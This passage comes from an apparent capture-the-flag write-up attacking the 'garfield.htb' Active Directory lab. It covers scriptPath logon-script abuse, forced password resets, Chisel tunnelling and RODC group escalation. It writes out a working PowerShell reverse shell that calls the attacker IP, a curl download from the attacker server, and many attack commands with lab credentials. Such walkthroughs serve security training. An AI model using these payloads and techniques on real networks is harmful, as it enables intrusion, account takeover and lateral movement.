<li><code>L.WILSON</code> has the <code>ForceChangePassword</code> permission over <code>L.WILSON_ADM</code>.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/0f6094c2-03ec-403f-8076-de0ef16612c7.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>This means that the account can reset the password of <code>L.WILSON_ADM</code> without knowing the account’s existing password, provided the permission is effective and the required conditions are met.</li>
</ul>
<h3>Examining L.WILSON_ADM</h3>
<ul>
<li>The <code>L.WILSON_ADM</code> account is a member of:<ul>
<li><code>TIER 1</code></li>
<li><code>DOMAIN USERS</code></li>
<li><code>REMOTE MANAGEMENT USERS</code></li>
<li><code>REMOTE DESKTOP USERS</code></li>
</ul>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/329e2cee-cd57-4f33-b3d7-3d349ce4a31d.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>Its <code>Outbound Object Control</code> relationships reveal several interesting permissions:<ul>
<li>It belongs to <code>TIER 1</code> group</li>
<li>It has the <code>AddSelf</code> right over <code>RODC ADMINSITRATORS</code>.</li>
<li>It has <code>WriteAccountRestrictions</code> over <code>RODC01.GARFIELD.HTB</code></li>
<li>It has <code>ForceChangePassword</code> over <code>RODC01.GARFIELD.HTB</code></li>
</ul>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/72608b18-7a09-4542-ace2-4c861b047e65.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>These relationships suggest that <code>L.WILSON_ADM</code> may provide a route toward controlling the <strong>Read-Only Domain Controller (RODC)</strong>.</li>
</ul>
<h3>Examining RODC01</h3>
<ul>
<li>The computer account is a member of:<ul>
<li><code>READ-ONLY DOMAIN CONTROLLER</code></li>
<li><code>DENIED RODC PASSWORD REPLICATION GROUP</code></li>
</ul>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/e1e87ba8-5217-4aec-838c-181b89649a97.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>Its <code>Outbound Object Control</code> relationship shows that <code>RODC01.GARFIELD.HTB</code> has <code>ForceChangePassword</code> over <code>KRBTGT_8245</code>.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/814a6083-ca13-4834-a77d-e5a54f61242a.png" alt="" style="display:block;margin:0 auto" />

<h2>Investigating Writable Active Directory Permissions</h2>
<h3>BloodyAD</h3>
<ul>
<li><strong>BloodyAD</strong> is used to enumerate the objects and attributes that the initial account can modify:</li>
</ul>
<pre><code class="language-sh">bloodyad --host DC01.garfield.htb -d garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' get writable
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/97e9256e-ea80-45cc-8eea-605717a5f0ab.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>Several entries are worth investigating, particularly the objects belonging to <code>Liz Wilson</code> and <code>Liz Wilson ADM</code>.</li>
<li>However, a <strong>Generic WRITE</strong> permission does not immediately explain which attributes can be modified. The next step is to inspect the permissions at the <strong>attribute level</strong>.</li>
</ul>
<h3>Inspecting the Specific Writable Attributes</h3>
<ul>
<li><strong>BloodyAD</strong> provides a <code>— detail</code> option that exposes the individual attributes associated with the discovered permissions:</li>
</ul>
<pre><code class="language-sh">bloodyad --host DC01.garfield.htb -d garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' get writable --detail
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/727222fd-a8ce-49fd-9fa6-3e696ce14a6d.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/205e4f36-4956-4777-9e4a-edec673f08cf.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The important discovery is that the <code>scriptPath</code> attribute is writable on several user objects, including:<ul>
<li><code>Guest</code></li>
<li><code>krbtgt_8245</code></li>
<li><code>Liz Wilson</code></li>
<li><code>Liz Wilson ADM</code></li>
</ul>
</li>
<li>The <code>scriptPath</code> attribute stores the path to a user’s logon script. When configured and processed during a successful logon, the referenced script can execute in that user’s context.</li>
<li>This creates an opportunity to influence what get executed when <code>l.wilson</code> logs in.</li>
</ul>
<h2>Identifying the Source of the ScriptPath Permission</h2>
<h3>NetExec DACL Enumeration</h3>
<ul>
<li><strong>NetExec’s</strong> <code>daclread</code> module can be used to inspect the <strong>Discretionary Access Control List (DACL)</strong> of an Active Directory Object:</li>
</ul>
<pre><code class="language-sh">nxc ldap DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -M daclread -o TARGET='j.arbuckle' PRINCIPAL='IT SUPPORT'
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/6a14d7b2-a4d8-4066-8a72-440cbb764acf.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>This explains the earlier <strong>BloodyAD</strong> results. Because <code>j.arbuckle</code> belongs to <code>IT SUPPORT</code>, the account inherits the group’s ability to read and write the <code>scriptPath</code> attribute on applicable user objects.</li>
</ul>
<h3>Verifying with Impacket’s dacledit</h3>
<ul>
<li>The same <strong>DACL</strong> can be inspected using <strong>impacket’s dacledit</strong> utility:</li>
</ul>
<pre><code class="language-sh">impacket-dacledit -principal 'IT SUPPORT' -target j.arbuckle -action 'read' 'garfield.htb/j.arbuckle:Th1sD4mnC4t!@1978'
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/9998446a-fe68-4729-a989-bdd152ef97c3.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>Both tools identify the same permission: <code>IT SUPPORT</code> has <code>ReadProperty</code> and <code>WriteProperty</code> rights over the <code>scriptPath</code> attribute on applicable user objects.</li>
</ul>
<h2>Gaining a Shell as l.wilson</h2>
<ul>
<li>The previous enumeration uncovered two findings worth investigating further:<ul>
<li>The <code>IT SUPPORT</code> group has <strong>write permissions</strong> over the <code>scriptPath</code> attribute on user objects.</li>
<li>The <code>garfield.htb/scripts</code> directory inside <code>SYSVOL</code> is writable using the initial account <code>j.arbuckle</code>.</li>
</ul>
</li>
<li>These findings create an interesting attack path. If a user account’s logon script configuration can be modified and a script can be placed in a location from which it can be accessed during logon, the script can potentially be used to execute commands in that user’s security context.</li>
</ul>
<h3>Preparing the Reverse Shell Payload</h3>
<ul>
<li>A reverse shell allows the compromised Windows host to establish an outbound connection to the attacker’s machine, providing an interactive command session.</li>
<li>A payload is generated using <code>revshell</code> (<code>revshells.com</code>)with the <strong>attacker’s IP address</strong> and a <strong>listening port</strong> configured:</li>
<li>The generated PowerShell payload is saved as <code>rev.ps1</code>:</li>
</ul>
<pre><code class="language-sh">$LHOST = "10.10.14.162"; $LPORT = 9001; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2&gt;&amp;1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()
</code></pre>
<ul>
<li>The payload creates a TCP connection to the attacker’s machine, read commands received over that connection, executes them using <code>Invoke-Expression</code> and sends the resulting output back through the established connection.</li>
<li>To prepare the payload for PowerShell’s encoded-command execution option, it is converted to <code>UTF-16LE</code> and then <code>Base64-encoded</code>:</li>
</ul>
<pre><code class="language-sh">cat rev.ps1 | iconv -t utf-16le | base64 -w0
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/e137a88b-d0c4-42ac-8d77-b5391276f1f2.png" alt="" style="display:block;margin:0 auto" />

<blockquote>
<p>The conversion is important because PowerShell’s — <code>EncodedCommand</code> option expects <strong>Base64-encoded</strong> command text in <code>UTF-16LE</code> format. Encoding the payload also makes it easier to embed in a command or <strong>batch file</strong> without dealing with the original script’s quoting and special characters.</p>
</blockquote>
<h3>Uploading the Payload to SYSVOL</h3>
<ul>
<li>First, confirm the contents of the scrips directory:</li>
</ul>
<pre><code class="language-sh">smbclient //DC01.garfield.htb/SYSVOL -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'ls garfield.htb/scripts/'
</code></pre>
<ul>
<li>The reverse shell payload has been prepared as <code>**rev.bat**</code>. It can now be uploaded to the same directory:</li>
</ul>
<pre><code class="language-sh">smbclient //DC01.garfield.htb/SYSVOL -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'put rev.bat garfield.htb/scripts/rev.bat'
</code></pre>
<ul>
<li>The upload succeeds.</li>
<li>Verify that the file is present:</li>
</ul>
<pre><code class="language-sh">smbclient //DC01.garfield.htb/SYSVOL -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'ls garfield.htb/scripts/'
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/99aba5b5-b3a6-4946-9a97-506a9543462c.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The payload is now available in <code>SYSVOL</code>.</li>
</ul>
<h3>Setting Up a Listener</h3>
<ul>
<li>Start a <code>Netcat</code> listener on the attacker’s machine:</li>
</ul>
<pre><code class="language-sh">rlwrap -cAr nc -lvnp 9001
</code></pre>
<ul>
<li>The listener waits for an incoming connection</li>
<li><code>rlwrap</code> provides improved command-line interaction, while Netcat listens on TCP port <code>9001</code>.</li>
<li>The next step is to configure the target account to reference it.</li>
</ul>
<h3>Checking the Existing scriptPath Value</h3>
<ul>
<li>Before modifying the attribute, retrieve its current value:</li>
</ul>
<pre><code class="language-sh">bloodyad --host DC01.garfield.htb -d garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' get object l.wilson --attr scriptPath
</code></pre>
<ul>
<li>No <code>scriptPath</code> value is displayed, indicating that the attribute is currently unset in the returned result.</li>
</ul>
<h3>Modifying the scriptPath Attribute</h3>
<ul>
<li>Since <code>j.arbuckle</code> has the required <code>WriteProperty</code> permission, <strong>BloodyAD</strong> can be used to set the attribute to the uploaded batch file:</li>
</ul>
<pre><code class="language-sh">bloodyad --host DC01.garfield.htb -d garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' set object l.wilson scriptPath -v rev.bat
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/712c194b-bd12-4444-a2a5-a857eaf46712.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The command succeeds. The account’s logon script configuration now references <code>rev.bat</code>.</li>
<li>It is worth distinguishing the two permissions involved in this attack:<ul>
<li><code>SYSVOL</code> <code>write</code> access allows the payload file to be placed in the <code>scripts</code> directory.</li>
<li>Active Directory <code>WriteProperty</code> access allows the <code>scriptPath</code> attribute on <code>l.wilson</code> to be modified.</li>
</ul>
</li>
</ul>
<h3>Obtaining the Reverse Shell</h3>
<ul>
<li>Once the configured logon script is processed, the reverse shell payload connects back to the listener.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/930e347d-54d0-432c-bd55-2906c00df7ef.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><strong>Success</strong>. The initial account has been used to obtain a shell as <code>l.wilson</code>.</li>
<li>Profile enumeration does not reveal anything particularly useful at this stage.</li>
<li>However, there is no need to abandon the enumeration findings collected earlier. <strong>BloodHound</strong> already identified a valuable relationship: <code>l.wilson</code> has <code>ForceChangePassword</code> permission over <code>l.wilson_adm</code></li>
<li>This permission provides a direct route to resetting <code>l.wilson_adm</code>’s password.</li>
</ul>
<h2>Getting a Shell as L.WILSON_ADM</h2>
<h3>Abusing <code>ForceChangePassword</code> to Take over l.wilson_adm</h3>
<ul>
<li>The <code>ForceChangePassword</code> right allows a principal to reset another account’s password without supplying the existing password.</li>
<li>Since the current shell runs as <code>garfield\l.wilson</code>, and <strong>BloodHound</strong> identified the required relationship, the Active Directory PowerShell module <code>Set-ADAccountPassword</code> can be used to perform the reset.</li>
<li>First, create a secure string containing the new password:</li>
</ul>
<pre><code class="language-sh">$NewPass = ConvertTo-SecureString "P@ssw0rd123" -AsPlainText -Force
</code></pre>
<ul>
<li>The <code>ConvertTo-SecureString</code> cmdlet converts the plaintext password into a <code>SecureString</code> object, which is accepted by the Active Directory password-management cmdlets.</li>
<li>Next, reset the password of <code>l.wilson_adm</code>:</li>
</ul>
<pre><code class="language-sh">Set-ADAccountPassword -Identity "l.wilson_adm" -Reset -NewPassword $NewPass
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/48c0a146-b7b8-4001-b98b-bdae5e390b7d.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The successful execution demonstrates that the current account has sufficient rights to perform the reset.</li>
</ul>
<h3>Validating the New Credentials</h3>
<ul>
<li>After resetting the password, the new credentials need to be tested against the available services.</li>
<li><strong>SMB Authentication:</strong></li>
</ul>
<pre><code class="language-sh">nxc smb DC01.garfield.htb -u l.wilson_adm -p 'P@ssw0rd123'
</code></pre>
<ul>
<li>The authentication succeeds.</li>
<li><strong>LDAP Authentication:</strong></li>
</ul>
<pre><code class="language-sh">nxc ldap DC01.garfield.htb -u l.wilson_adm -p 'P@ssw0rd123'
</code></pre>
<ul>
<li>The output confirms successful authentication.</li>
<li><strong>WinRM Authentication:</strong></li>
</ul>
<pre><code class="language-sh">nxc winrm DC01.garfield.htb -u l.wilson_adm -p 'P@ssw0rd123'
</code></pre>
<ul>
<li>Authentication succeeds and the account can obtain a remote session.</li>
<li><strong>RDP Authentication</strong></li>
</ul>
<pre><code class="language-sh">nxc rdp DC01.garfield.htb -u l.wilson_adm -p 'P@ssw0rd123'
</code></pre>
<ul>
<li>Although the credentials are valid, the RDP authentication test fails.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/f6335ca9-5034-4093-a990-5f1d4586f8a8.png" alt="" style="display:block;margin:0 auto" />

<h3>Obtaining a Shell Using Evil-WinRM</h3>
<ul>
<li>Since <strong>NetExec</strong> confirmed that <code>l.wilson_adm</code> could authenticate over <strong>WinRM</strong>, <code>Evil-WinRM</code> can be used to establish an interactive PowerShell session:</li>
</ul>
<pre><code class="language-sh">evil-winrm -i DC01.garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' 
</code></pre>
<ul>
<li>The connection is established successfully.</li>
<li>The shell confirms that the session is running as <code>garfield\l.wilson_adm</code>.</li>
</ul>
<h3>Retrieving the User Flag</h3>
<p>Investigating the Desktop directory through directory listing we get the <strong>user flag</strong>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/d30040e4-b78c-423b-a24a-b00a850d0f1c.png" alt="" style="display:block;margin:0 auto" />

<h3>Enumerating the Network Interfaces</h3>
<ul>
<li>Recall that earlier <strong>NetExec</strong> interface enumeration identified a second network interface on <code>DC01</code>, configured with the address <code>192.168.100.1</code>. This is worth investigating because it suggests that the domain controller is connected to an additional network segment:</li>
</ul>
<pre><code class="language-sh">ipconfig /all
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/0a741030-4d0b-45fb-9aeb-074d508bc712.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The <code>192.168.100.1</code> address belongs to a private network connected through a <strong>Hyper-V</strong> virtual switch. This is consistent with the earlier interface enumeration and suggests that <code>DC01</code> has connectivity to an internal network seperate from the externally reachable lab network.</li>
</ul>
<h3>Discovering the RODC Through DNS Enumeration</h3>
<ul>
<li>The next step is to investigate the domain’s DNS records.</li>
<li><strong>BloodyAD</strong> provides a <strong>DNS dump</strong> capability that can retrieve records from an Active Directory-integrated DNS zone:</li>
</ul>
<pre><code class="language-sh">bloodyad --host DC01.garfield.htb -d garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' get dnsDump --zone garfield.htb
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/7ba7558e-4f98-43fc-9ebd-41e384f8b7f3.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/622acf00-e57f-4f5a-8a50-e432c2688d9c.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>This confirms that <code>RODC01</code> resolves to <code>192.168.100.2</code>, placing it on the same network as the <strong>Hyper-V</strong> interface on <code>DC01</code><strong>.</strong></li>
<li>This is a significant finding because the <strong>RODC’s</strong> address belongs to an internal network that has not been directly exposed through the attacker’s initial access path.</li>
<li>The DNS dump therefore provides the missing information needed to investigate the second domain controller.</li>
</ul>
<h3>Testing Connectivity to RODC01</h3>
<ul>
<li>Since the current shell is running on <code>DC01</code>, connectivity to the internal <code>RODC01</code> can be tested directly:</li>
</ul>
<pre><code class="language-sh">ping RODC01
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/bbb849d5-3fad-4cb9-b988-9a0f7a106a9e.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The hostname resolves successfully.</li>
<li>The successful replies confirm that <code>DC01</code> can reach <code>RODC01</code> over the internal network.</li>
<li>This also confirms that the address discovered through DNS is active and that the two systems can communicate over the internal segment.</li>
</ul>
<h3>Updating the Attacker’s Hosts File</h3>
<ul>
<li>To make it easier to reference the <code>RODC</code> hostname from the attacking machine, add its internal address to <code>/etc/hosts</code>:</li>
</ul>
<pre><code class="language-sh">echo "192.168.100.2     RODC01.garfield.htb garfield.htb RODC01" | sudo tee -a /etc/hosts
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/6e162700-ef14-467d-89e2-88e42abc587b.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>This makes the hostname available for local name resolution on the attacking machine.</li>
<li>However, updating <code>/etc/hosts</code> only resolves the hostname to an IP address. It does not create a network route to <code>192.168.100.2</code>. Since the internal address is not directly reachable from the attacker’s network, a tunnel through <code>DC01</code> is required.</li>
</ul>
<h2>Establishing an Internal Network Tunnel with Chisel</h2>
<ul>
<li>To communicate with the internal <strong>RODC</strong> from the attacking machine, <code>Chisel</code> is used to create a <strong>reverse SOCKS tunnel</strong>.</li>
<li><code>Chisel</code> is a <strong>tunnelling utility</strong> that transports network connections over HTTP and WebSocket-Compatible communication. Its reverse tunnelling functionality allows a client running on a compromised host to establish a connection back to an attacker-controlled server and expose a SOCKS proxy on the attacker’s machine.</li>
<li>In this scenario:<ul>
<li><em>The attacker machine runs the Chisel server.</em></li>
<li><em>DC01 runs the Chisel client.</em></li>
<li><em>The reverse tunnel exposes a SOCKS5 proxy on the attacker machine.</em></li>
<li><em>Traffic sent through the proxy can be routed through DC01 toward the internal network.</em></li>
</ul>
</li>
<li>Both Linux and Windows versions of Chisel are required.</li>
</ul>
<h3>Downloading the Linux Version</h3>
<pre><code class="language-sh">wget "https://github.com/jpillora/chisel/releases/download/v1.12.0/chisel_1.12.0_linux_amd64.gz" 
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/f32aa6bc-c301-40b3-b66c-f213ec7e6b59.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><strong>Extracting Chisel:</strong></li>
</ul>
<pre><code class="language-sh">7z x chisel_1.12.0_linux_amd64.gz 
</code></pre>
<ul>
<li><strong>Making Chisel Binary Executable:</strong></li>
</ul>
<pre><code class="language-sh">chmod +x chisel 
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/9808ddc9-636f-44d4-81e8-bc0029b2e0ca.png" alt="" style="display:block;margin:0 auto" />

<h3>Downloading the Windows Version</h3>
<pre><code class="language-sh">wget "https://github.com/jpillora/chisel/releases/download/v1.12.0/chisel_1.12.0_windows_amd64.zip"
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/506bc5da-c961-4bad-904a-281c28e82ebc.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><strong>Extracting Chisel:</strong></li>
</ul>
<pre><code class="language-sh">7z x chisel_1.12.0_windows_amd64.zip
</code></pre>
<h3>Serving the Windows Binary</h3>
<ul>
<li>A simple <strong>Python HTTP server</strong> can be used to transfer <code>chisel.exe</code> to the compromised host:</li>
</ul>
<pre><code class="language-sh">python -m http.server
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/de2719ac-d0f9-42d0-ad6c-bf0beac07be7.png" alt="" style="display:block;margin:0 auto" />

<h3>Uploading Chisel to DC01</h3>
<ul>
<li>Return to the <code>Evil-WinRM</code> session running as <code>l.wilson_adm</code>.</li>
<li>Move to the <code>C:\ProgramData</code>:</li>
</ul>
<pre><code class="language-sh">cd C:\ProgramData
</code></pre>
<ul>
<li>Download the Windows executable from the attacker’s HTTP server:</li>
</ul>
<pre><code class="language-sh">curl "http://10.10.14.162:8000/chisel.exe" -o chisel.exe
</code></pre>
<ul>
<li>The file is saved locally.</li>
<li>To verify successful and complete download a hash of the executable file can be calculated on the attacker machine:</li>
</ul>
<pre><code class="language-sh">md5sum chisel.exe
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/66dc8ef0-8068-44c6-9e0e-56eb62258145.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>Calculating the hash on the <strong>DC01</strong> of the uploaded <code>chisel.exe</code>:</li>
</ul>
<pre><code class="language-sh">Get-FileHash chisel.exe -Algorithm MD5
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/22c7292f-3806-43bc-ad8d-f44ca6a066e0.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The hashes matches!</li>
</ul>
<h3>Configuring the Reverse SOCKS Tunnel</h3>
<ul>
<li>With both binaries in place, the next step is to establish the tunnel.</li>
<li>On the attacking machine, start Chisel in <strong>server mode</strong>:</li>
</ul>
<pre><code class="language-sh">./chisel server -p 8001 --reverse --socks5
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/a6e45b96-98eb-4456-b609-7763cab26fec.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The server starts successfully and waits for the Windows client to connect.</li>
<li>Back in the <code>Evil-WinRM</code> session, execute the Windows binary:</li>
</ul>
<pre><code class="language-sh">.\chisel.exe client 10.10.14.162:8001 R:socks
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/b10edc2e-0715-4953-83bd-8c394ecec81e.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The command instructs the client to connect to the Chisel server at <code>10.10.14.162:8001</code> and request a reverse SOCKS proxy.</li>
<li>Chisel client successfully connected to the server.</li>
<li>The attacker’s Chisel server also confirms that the reverse SOCKS listener has been established.</li>
<li>Traffic directed through this proxy can now travel through the Chisel connection to <strong>DC01</strong>, allowing the attacker to investigate services on networks accessible from the compromised host.</li>
<li>At this point, the tunnel has been established. The internal <code>RODC</code> at <code>192.168.100.2</code> is the next target for further enumeration.</li>
</ul>
<h2>Gaining Additional Privileges on RODC01</h2>
<ul>
<li>With the Chisel SOCKS tunnel established, the next step is to access the <strong>Read-Only Domain Controller</strong> (<code>RODC01</code>) through <code>proxychains</code>. Although the account <code>l.wilson_adm</code> has already provided access to <code>DC01</code>, the <code>RODC</code> presents a different attack surface, particularly around its Active Directory permissions and delegated administrative roles.</li>
</ul>
<h3>Accessing RODC01 Through SOCKS Proxy</h3>
<ul>
<li>Using <code>proxychains</code>, an <code>Evil-WinRM</code> session can be initiated against <code>RODC01</code>:</li>
</ul>
<pre><code class="language-sh">proxychains -q evil-winrm -i RODC01.garfield.htb -u l.wilson_adm -p 'P@ssw0rd123'
</code></pre>
<ul>
<li>The <code>-q</code> option suppresses unnecessary <strong>ProxyChains</strong> output, keeping the terminal focused on the connection and command results.</li>
<li>Once connected, the identity and hostname are verified as <code>garfield\l.wilson_adm</code> and <code>RODC01</code> respectively.</li>
<li>Checking the privileges assigned to the current security token, we only have <strong>three</strong> enabled privileges:</li>
</ul>
<pre><code class="language-sh">whoami /priv
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/9b74d789-2cee-4ea1-9a53-d83f7e18e411.png" alt="" style="display:block;margin:0 auto" />

<h3>Enumerating Writable Active Directory Permissions</h3>
<ul>
<li>The next step is to examine the Active Directory objects that <code>l.wilson_adm</code> can modify:</li>
</ul>
<pre><code class="language-sh">bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get writable
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/a5259dd1-6d47-4e92-bcb5-4168e61ab91d.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The most interesting entry is the <strong>RODC</strong> computer object. It indicates that the account has write access to the <code>RODC01</code> object. However, a generic <code>WRITE</code> result does not tell us precisely which attributes can be modified. To understand the available attack surface, the permission need to be enumerated in greater detail:</li>
</ul>
<pre><code class="language-sh">bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get writable --detail
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/e62f7011-b491-4e1f-aee0-c0825d0283d4.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The <code>msDS-AllowedToActOnBehalfOfOtherIdentity</code> attribute is usually associated with <strong>Resource-Based Constrained Delegation (RBCD)</strong>. We’ll come back to this later.</li>
<li>The presence of writable attributes does not automatically mean every associated attack technique is immediately viable. For this attack path, however, the <strong>RODC’s</strong> relationship with <code>RODC Administrators</code> group becomes particularly interesting.</li>
</ul>
<h3>Establishing a Baseline for Permission Changes</h3>
<ul>
<li>Before modifying group membership, it is useful to save the current permissions to a file. This provides a baseline against which subsequent changes can be compared:</li>
</ul>
<pre><code class="language-sh">bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get writable --detail &gt; before_writable_permissions.txt
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/d812dda8-0bad-4e33-b469-710c89ca43cc.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>Instead of relying on memory or manually inspecting two lengthy outputs, a simple <strong>diff</strong> can reveal exactly what changed.</li>
</ul>
<h3>Adding l.wilson_adm to RODC Administrators</h3>
<ul>
<li>The next observation comes from <strong>BloodHound</strong>, which identified that <code>l.wilson_adm</code> can be added to the <strong>RODC Administrators</strong> group.</li>
<li>This is particularly interesting because membership in this group can provide <em>delegated administrative control</em> over the <strong>Read-Only Domain Controller</strong>:</li>
</ul>
<pre><code class="language-sh">bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' add groupMember "RODC Administrators" l.wilson_adm 
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/ebdd31ab-20f2-431e-8038-14b3b872530b.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The operation succeeds.</li>
<li>With the account now added to the group, the writable permissions are enumerated again:</li>
</ul>
<pre><code class="language-sh">bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get writable --detail
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/bf0fb8dd-e25c-44e2-b0e6-35bf13b93972.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>Two newly visible attributes deserve particular attention:<ul>
<li><code>msDS-RevealOnDemandGroup</code>: Controls which security principals are permitted to have their passwords replicated to the RODC on demand.</li>
<li><code>msDS-NeverRevealGroup</code>: Defines security principals whose credentials must never be replicated on the RODC.</li>
</ul>
</li>
<li>The <code>managedBy</code> attribute is also now writable. This attribute identifies the security principal responsible for managing an Active Directory Object.</li>
<li>The appearance of these additional permissions is significant. Adding <code>l.wilson_adm</code> to <code>RODC Administrators</code> has expanded the account’s effective ability to modify the <strong>RODC’s</strong> Active Directory configuration.</li>
<li>To identify the exact changes, the updated permissions are saved to another file:</li>
</ul>
<pre><code class="language-sh">bloodyad --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 'P@ssw0rd123' get writable --detail &gt; after_writable_permissions.txt
</code></pre>
<ul>
<li>The two files can the be compared using <code>diff</code>:</li>
</ul>
<pre><code class="language-sh">diff before_writable_permissions.txt after_writable_permissions.txt`
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/456fe101-014e-4036-a6c2-21d4304741e0.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>This confirms that the additional writable attributes appeared after the group membership change.</li>
<li>The important takeaway is that group membership is not merely an <em>administrative label</em>. It can alter the permissions associated with an account, exposing new opportunities for modifying Active Directory Objects.</li>
</ul>
